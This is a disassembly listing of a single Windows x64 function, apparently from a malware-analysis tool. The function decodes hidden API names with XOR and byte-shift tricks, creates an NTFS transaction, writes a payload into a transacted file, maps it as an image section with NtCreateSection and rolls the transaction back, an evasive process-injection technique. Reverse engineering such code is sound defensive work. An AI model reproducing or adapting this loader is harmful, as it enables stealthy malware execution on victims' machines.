Function at 0x20798b390
Capabilities:
Encode data using xor

Disassembly:
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x180
mov esi, 0x93
movdqu xmm0, xmmword [0x207a43770]
movabs rax, 0x8fa998899c988fbe
mov r11d, 0x93
mov r12d, 0x6c6c
mov edi, 0x6c6c
mov r15, rdx
mov r13, rcx
mov ebx, r8d
movabs rdx, 0x9294899e9c8e939c
mov qword [rsp + 0x160], rax
lea r14, [rsp + 0x160]
lea rcx, [rsp + 0x140]
mov qword [rsp + 0x168], rdx
mov rdx, r14
mov word [rsp + 0x170], si
movzx eax, byte [rsp + 0x160]
mov word [rsp + 0x110], r11w
xor eax, 0xfffffffd
movups xmmword [rsp + 0x100], xmm0
mov byte [rsp + 0x160], al
movzx eax, byte [rsp + 0x161]
xor eax, 0xfffffffd
mov byte [rsp + 0x161], al
movzx eax, byte [rsp + 0x162]
xor eax, 0xfffffffd
mov byte [rsp + 0x162], al
movzx eax, byte [rsp + 0x163]
xor eax, 0xfffffffd
mov byte [rsp + 0x163], al
movzx eax, byte [rsp + 0x164]
xor eax, 0xfffffffd
mov byte [rsp + 0x164], al
movzx eax, byte [rsp + 0x165]
xor eax, 0xfffffffd
mov byte [rsp + 0x165], al
movzx eax, byte [rsp + 0x166]
xor eax, 0xfffffffd
mov byte [rsp + 0x166], al
movzx eax, byte [rsp + 0x167]
xor eax, 0xfffffffd
mov byte [rsp + 0x167], al
movzx eax, byte [rsp + 0x168]
xor eax, 0xfffffffd
mov byte [rsp + 0x168], al
movzx eax, byte [rsp + 0x169]
xor eax, 0xfffffffd
mov byte [rsp + 0x169], al
movzx eax, byte [rsp + 0x16a]
xor eax, 0xfffffffd
mov byte [rsp + 0x16a], al
movzx eax, byte [rsp + 0x16b]
xor eax, 0xfffffffd
mov byte [rsp + 0x16b], al
movzx eax, byte [rsp + 0x16c]
xor eax, 0xfffffffd
mov byte [rsp + 0x16c], al
movzx eax, byte [rsp + 0x16d]
mov word [rsp + 0x80], di
xor eax, 0xfffffffd
mov byte [rsp + 0x82], 0
mov byte [rsp + 0x16d], al
movzx eax, byte [rsp + 0x16e]
xor eax, 0xfffffffd
mov byte [rsp + 0x16e], al
movzx eax, byte [rsp + 0x16f]
xor eax, 0xfffffffd
mov byte [rsp + 0x16f], al
movzx eax, byte [rsp + 0x170]
xor eax, 0xfffffffd
mov byte [rsp + 0x170], al
mov rax, qword [str.KtmW32.d]
mov qword [rsp + 0x78], rax
movabs rax, 0x642e3233576d744b
mov qword [rsp + 0x140], rax
mov word [rsp + 0x148], r12w
mov byte [rsp + 0x14a], 0
movzx eax, byte [rsp + 0x140]
mov byte [rsp + 0x140], al
movzx eax, byte [rsp + 0x141]
mov byte [rsp + 0x141], al
movzx eax, byte [rsp + 0x142]
mov byte [rsp + 0x142], al
movzx eax, byte [rsp + 0x143]
mov byte [rsp + 0x143], al
movzx eax, byte [rsp + 0x144]
mov byte [rsp + 0x144], al
movzx eax, byte [rsp + 0x145]
mov byte [rsp + 0x145], al
movzx eax, byte [rsp + 0x146]
mov byte [rsp + 0x146], al
movzx eax, byte [rsp + 0x147]
mov byte [rsp + 0x147], al
movzx eax, byte [rsp + 0x148]
mov byte [rsp + 0x148], al
movzx eax, byte [rsp + 0x149]
mov byte [rsp + 0x149], al
call fcn.2079560c0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x30], 0
xor ecx, ecx
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call rax
mov r12, rax
cmp rax, 0xffffffffffffffff
je 0x20798bac8
movabs rax, 0x96b99a8b9e9a8dbc
mov r9d, 0xa8
movabs rdx, 0x9e8c919e8dab9a93
mov r10d, 0xa8
mov qword [rsp + 0x160], rax
xor eax, eax
movdqu xmm0, xmmword [0x207a43790]
mov qword [rsp + 0x168], rdx
mov dword [rsp + 0x150], 0x9b9a8b9c
mov dword [rsp + 0x170], 0x9b9a8b9c
mov word [rsp + 0x154], r9w
mov word [rsp + 0x174], r10w
movups xmmword [rsp + 0x140], xmm0
nop dword [rax]
movzx edx, byte [rsp + rax + 0x160]
not edx
mov byte [rsp + rax + 0x160], dl
add rax, 1
cmp rax, 0x15
jne 0x20798b6c8
movabs rax, 0xc9c8979e95899e90
mov rsi, qword [0x207a437a0]
mov rdx, r14
lea rdi, [rsp + 0x120]
mov qword [rsp + 0x120], rax
mov rcx, rdi
mov dword [rsp + 0x128], 0x97979fd5
mov byte [rsp + 0x12c], 0
movzx eax, byte [rsp + 0x120]
mov qword [rsp + 0xc0], rsi
xor eax, 0xfffffffb
mov byte [rsp + 0xcc], 0
mov byte [rsp + 0x120], al
movzx eax, byte [rsp + 0x121]
mov dword [rsp + 0xc8], 0x97979fd5
xor eax, 0xfffffffb
mov byte [rsp + 0x121], al
movzx eax, byte [rsp + 0x122]
xor eax, 0xfffffffb
mov byte [rsp + 0x122], al
movzx eax, byte [rsp + 0x123]
xor eax, 0xfffffffb
mov byte [rsp + 0x123], al
movzx eax, byte [rsp + 0x124]
xor eax, 0xfffffffb
mov byte [rsp + 0x124], al
movzx eax, byte [rsp + 0x125]
xor eax, 0xfffffffb
mov byte [rsp + 0x125], al
movzx eax, byte [rsp + 0x126]
xor eax, 0xfffffffb
mov byte [rsp + 0x126], al
movzx eax, byte [rsp + 0x127]
xor eax, 0xfffffffb
mov byte [rsp + 0x127], al
movzx eax, byte [rsp + 0x128]
xor eax, 0xfffffffb
mov byte [rsp + 0x128], al
movzx eax, byte [rsp + 0x129]
xor eax, 0xfffffffb
mov byte [rsp + 0x129], al
movzx eax, byte [rsp + 0x12a]
xor eax, 0xfffffffb
mov byte [rsp + 0x12a], al
movzx eax, byte [rsp + 0x12b]
xor eax, 0xfffffffb
mov byte [rsp + 0x12b], al
call fcn.2079560c0
mov rcx, r13
mov qword [rsp + 0x38], r12
xor r9d, r9d
mov dword [rsp + 0x28], pe_nt_image_headers64
xor r8d, r8d
mov edx, 0xc0000000
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x20], 2
call rax
mov r13, rax
cmp rax, 0xffffffffffffffff
je 0x20798bac8
mov rax, qword [str.SnepaBehhbokbi0__ilpbEk]
mov ecx, 0x61
mov r8d, 0x61
mov dword [rsp + 0x5c], 0
mov word [rsp + 0x70], cx
mov rdx, rdi
mov rcx, r14
mov qword [rsp + 0x68], rax
movabs rax, 0x6865426170656e53
mov qword [rsp + 0x120], rax
mov word [rsp + 0x128], r8w
movzx eax, byte [rsp + 0x120]
mov dword [rsp + 0xd8], 0x6969612b
add eax, 4
mov byte [rsp + 0xdc], 0
mov byte [rsp + 0x120], al
movzx eax, byte [rsp + 0x121]
add eax, 4
mov byte [rsp + 0x121], al
movzx eax, byte [rsp + 0x122]
add eax, 4
mov byte [rsp + 0x122], al
movzx eax, byte [rsp + 0x123]
add eax, 4
mov byte [rsp + 0x123], al
movzx eax, byte [rsp + 0x124]
add eax, 4
mov byte [rsp + 0x124], al
movzx eax, byte [rsp + 0x125]
add eax, 4
mov byte [rsp + 0x125], al
movzx eax, byte [rsp + 0x126]
add eax, 4
mov byte [rsp + 0x126], al
movzx eax, byte [rsp + 0x127]
add eax, 4
mov byte [rsp + 0x127], al
movzx eax, byte [rsp + 0x128]
add eax, 4
mov byte [rsp + 0x128], al
mov rax, qword [0x207a437b0]
mov qword [rsp + 0xd0], rax
movabs rax, 0x2f3069626b6f6268
mov qword [rsp + 0x160], rax
mov dword [rsp + 0x168], 0x6969612b
mov byte [rsp + 0x16c], 0
movzx eax, byte [rsp + 0x160]
add eax, 3
mov byte [rsp + 0x160], al
movzx eax, byte [rsp + 0x161]
add eax, 3
mov byte [rsp + 0x161], al
movzx eax, byte [rsp + 0x162]
add eax, 3
mov byte [rsp + 0x162], al
movzx eax, byte [rsp + 0x163]
add eax, 3
mov byte [rsp + 0x163], al
movzx eax, byte [rsp + 0x164]
add eax, 3
mov byte [rsp + 0x164], al
movzx eax, byte [rsp + 0x165]
add eax, 3
mov byte [rsp + 0x165], al
movzx eax, byte [rsp + 0x166]
add eax, 3
mov byte [rsp + 0x166], al
movzx eax, byte [rsp + 0x167]
add eax, 3
mov byte [rsp + 0x167], al
movzx eax, byte [rsp + 0x168]
add eax, 3
mov byte [rsp + 0x168], al
movzx eax, byte [rsp + 0x169]
add eax, 3
mov byte [rsp + 0x169], al
movzx eax, byte [rsp + 0x16a]
add eax, 3
mov byte [rsp + 0x16a], al
movzx eax, byte [rsp + 0x16b]
add eax, 3
mov byte [rsp + 0x16b], al
call fcn.2079560c0
lea r9, [rsp + 0x5c]
mov r8d, ebx
mov rdx, r15
mov qword [rsp + 0x20], 0
mov rcx, r13
call rax
test eax, eax
je 0x20798bac8
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x30], r13
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x60], 0
mov edx, 0xf001f
mov dword [rsp + 0x28], 0x1000000
mov dword [rsp + 0x20], 2
call qword [sym.imp.ntdll.dll_NtCreateSection]
test eax, eax
je 0x20798bae2
nop word [rax + rax]
mov rax, 0xffffffffffffffff
add rsp, 0x180
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
ret
movabs rax, 0x6b5e4562706c6940
mov rdx, rdi
mov rcx, r14
mov rbx, qword [0x207a437b8]
mov qword [rsp + 0x120], rax
mov dword [rsp + 0x128], 0x626961
movzx eax, byte [rsp + 0x120]
mov qword [rsp + 0x98], rbx
add eax, 3
mov dword [rsp + 0xa0], 0x626961
mov byte [rsp + 0x120], al
movzx eax, byte [rsp + 0x121]
mov qword [rsp + 0xe0], rsi
add eax, 3
mov byte [rsp + 0xec], 0
mov byte [rsp + 0x121], al
movzx eax, byte [rsp + 0x122]
mov dword [rsp + 0xe8], 0x97979fd5
add eax, 3
mov byte [rsp + 0x122], al
movzx eax, byte [rsp + 0x123]
add eax, 3
mov byte [rsp + 0x123], al
movzx eax, byte [rsp + 0x124]
add eax, 3
mov byte [rsp + 0x124], al
movzx eax, byte [rsp + 0x125]
add eax, 3
mov byte [rsp + 0x125], al
movzx eax, byte [rsp + 0x126]
add eax, 3
mov byte [rsp + 0x126], al
movzx eax, byte [rsp + 0x127]
add eax, 3
mov byte [rsp + 0x127], al
movzx eax, byte [rsp + 0x128]
add eax, 3
mov byte [rsp + 0x128], al
movzx eax, byte [rsp + 0x129]
add eax, 3
mov byte [rsp + 0x129], al
movzx eax, byte [rsp + 0x12a]
add eax, 3
mov byte [rsp + 0x12a], al
mov qword [rsp + 0x160], rsi
mov dword [rsp + 0x168], 0x97979fd5
mov byte [rsp + 0x16c], 0
movzx eax, byte [rsp + 0x160]
xor eax, 0xfffffffb
mov byte [rsp + 0x160], al
movzx eax, byte [rsp + 0x161]
xor eax, 0xfffffffb
mov byte [rsp + 0x161], al
movzx eax, byte [rsp + 0x162]
xor eax, 0xfffffffb
mov byte [rsp + 0x162], al
movzx eax, byte [rsp + 0x163]
xor eax, 0xfffffffb
mov byte [rsp + 0x163], al
movzx eax, byte [rsp + 0x164]
xor eax, 0xfffffffb
mov byte [rsp + 0x164], al
movzx eax, byte [rsp + 0x165]
xor eax, 0xfffffffb
mov byte [rsp + 0x165], al
movzx eax, byte [rsp + 0x166]
xor eax, 0xfffffffb
mov byte [rsp + 0x166], al
movzx eax, byte [rsp + 0x167]
xor eax, 0xfffffffb
mov byte [rsp + 0x167], al
movzx eax, byte [rsp + 0x168]
xor eax, 0xfffffffb
mov byte [rsp + 0x168], al
movzx eax, byte [rsp + 0x169]
xor eax, 0xfffffffb
mov byte [rsp + 0x169], al
movzx eax, byte [rsp + 0x16a]
xor eax, 0xfffffffb
mov byte [rsp + 0x16a], al
movzx eax, byte [rsp + 0x16b]
xor eax, 0xfffffffb
mov byte [rsp + 0x16b], al
call fcn.2079560c0
mov rcx, r13
call rax
movdqu xmm0, xmmword [0x207a437c0]
movabs rax, 0x959d9f9c929291ac
movabs rdx, 0x8a9d9f8d909f8caa
mov qword [rsp + 0x160], rax
xor eax, eax
mov qword [rsp + 0x168], rdx
mov dword [rsp + 0x130], 0x909197
mov dword [rsp + 0x170], 0x909197
movups xmmword [rsp + 0x120], xmm0
nop dword [rax]
movzx edx, byte [rsp + rax + 0x160]
xor edx, 0xfffffffe
mov byte [rsp + rax + 0x160], dl
add rax, 1
cmp rax, 0x13
jne 0x20798bd50
mov rax, qword [0x207a437d0]
mov edx, 0xffff9191
lea rcx, [rsp + 0xf0]
mov byte [rsp + 0x92], 0
mov qword [rsp + 0x88], rax
mov eax, 0xffff9191
mov word [rsp + 0x90], ax
movabs rax, 0x99d3cfceaa9089b6
mov qword [rsp + 0xf0], rax
mov word [rsp + 0xf8], dx
mov rdx, r14
mov byte [rsp + 0xfa], 0
movzx eax, byte [rsp + 0xf0]
xor eax, 0xfffffffd
mov byte [rsp + 0xf0], al
movzx eax, byte [rsp + 0xf1]
xor eax, 0xfffffffd
mov byte [rsp + 0xf1], al
movzx eax, byte [rsp + 0xf2]
xor eax, 0xfffffffd
mov byte [rsp + 0xf2], al
movzx eax, byte [rsp + 0xf3]
xor eax, 0xfffffffd
mov byte [rsp + 0xf3], al
movzx eax, byte [rsp + 0xf4]
xor eax, 0xfffffffd
mov byte [rsp + 0xf4], al
movzx eax, byte [rsp + 0xf5]
xor eax, 0xfffffffd
mov byte [rsp + 0xf5], al
movzx eax, byte [rsp + 0xf6]
xor eax, 0xfffffffd
mov byte [rsp + 0xf6], al
movzx eax, byte [rsp + 0xf7]
xor eax, 0xfffffffd
mov byte [rsp + 0xf7], al
movzx eax, byte [rsp + 0xf8]
xor eax, 0xfffffffd
mov byte [rsp + 0xf8], al
movzx eax, byte [rsp + 0xf9]
xor eax, 0xfffffffd
mov byte [rsp + 0xf9], al
call fcn.2079560c0
mov rcx, r12
call rax
test eax, eax
je 0x20798bac8
mov qword [rsp + 0xb4], rbx
lea rdx, [rsp + 0xb4]
mov rcx, r14
mov dword [rsp + 0xbc], 0x626961
movzx eax, byte [rsp + 0xb4]
mov qword [rsp + 0xa8], rbx
add eax, 3
mov dword [rsp + 0xb0], 0x626961
mov byte [rsp + 0xb4], al
movzx eax, byte [rsp + 0xb5]
mov qword [rsp + 0xf0], rsi
add eax, 3
mov byte [rsp + 0xfc], 0
mov byte [rsp + 0xb5], al
movzx eax, byte [rsp + 0xb6]
mov dword [rsp + 0xf8], 0x97979fd5
add eax, 3
mov byte [rsp + 0xb6], al
movzx eax, byte [rsp + 0xb7]
add eax, 3
mov byte [rsp + 0xb7], al
movzx eax, byte [rsp + 0xb8]
add eax, 3
mov byte [rsp + 0xb8], al
movzx eax, byte [rsp + 0xb9]
add eax, 3
mov byte [rsp + 0xb9], al
movzx eax, byte [rsp + 0xba]
add eax, 3
mov byte [rsp + 0xba], al
movzx eax, byte [rsp + 0xbb]
add eax, 3
mov byte [rsp + 0xbb], al
movzx eax, byte [rsp + 0xbc]
add eax, 3
mov byte [rsp + 0xbc], al
movzx eax, byte [rsp + 0xbd]
add eax, 3
mov byte [rsp + 0xbd], al
movzx eax, byte [rsp + 0xbe]
add eax, 3
mov byte [rsp + 0xbe], al
mov qword [rsp + 0x160], rsi
mov dword [rsp + 0x168], 0x97979fd5
mov byte [rsp + 0x16c], 0
movzx eax, byte [rsp + 0x160]
xor eax, 0xfffffffb
mov byte [rsp + 0x160], al
movzx eax, byte [rsp + 0x161]
xor eax, 0xfffffffb
mov byte [rsp + 0x161], al
movzx eax, byte [rsp + 0x162]
xor eax, 0xfffffffb
mov byte [rsp + 0x162], al
movzx eax, byte [rsp + 0x163]
xor eax, 0xfffffffb
mov byte [rsp + 0x163], al
movzx eax, byte [rsp + 0x164]
xor eax, 0xfffffffb
mov byte [rsp + 0x164], al
movzx eax, byte [rsp + 0x165]
xor eax, 0xfffffffb
mov byte [rsp + 0x165], al
movzx eax, byte [rsp + 0x166]
xor eax, 0xfffffffb
mov byte [rsp + 0x166], al
movzx eax, byte [rsp + 0x167]
xor eax, 0xfffffffb
mov byte [rsp + 0x167], al
movzx eax, byte [rsp + 0x168]
xor eax, 0xfffffffb
mov byte [rsp + 0x168], al
movzx eax, byte [rsp + 0x169]
xor eax, 0xfffffffb
mov byte [rsp + 0x169], al
movzx eax, byte [rsp + 0x16a]
xor eax, 0xfffffffb
mov byte [rsp + 0x16a], al
movzx eax, byte [rsp + 0x16b]
xor eax, 0xfffffffb
mov byte [rsp + 0x16b], al
call fcn.2079560c0
mov rcx, r12
call rax
mov rax, qword [rsp + 0x60]
jmp 0x20798bacf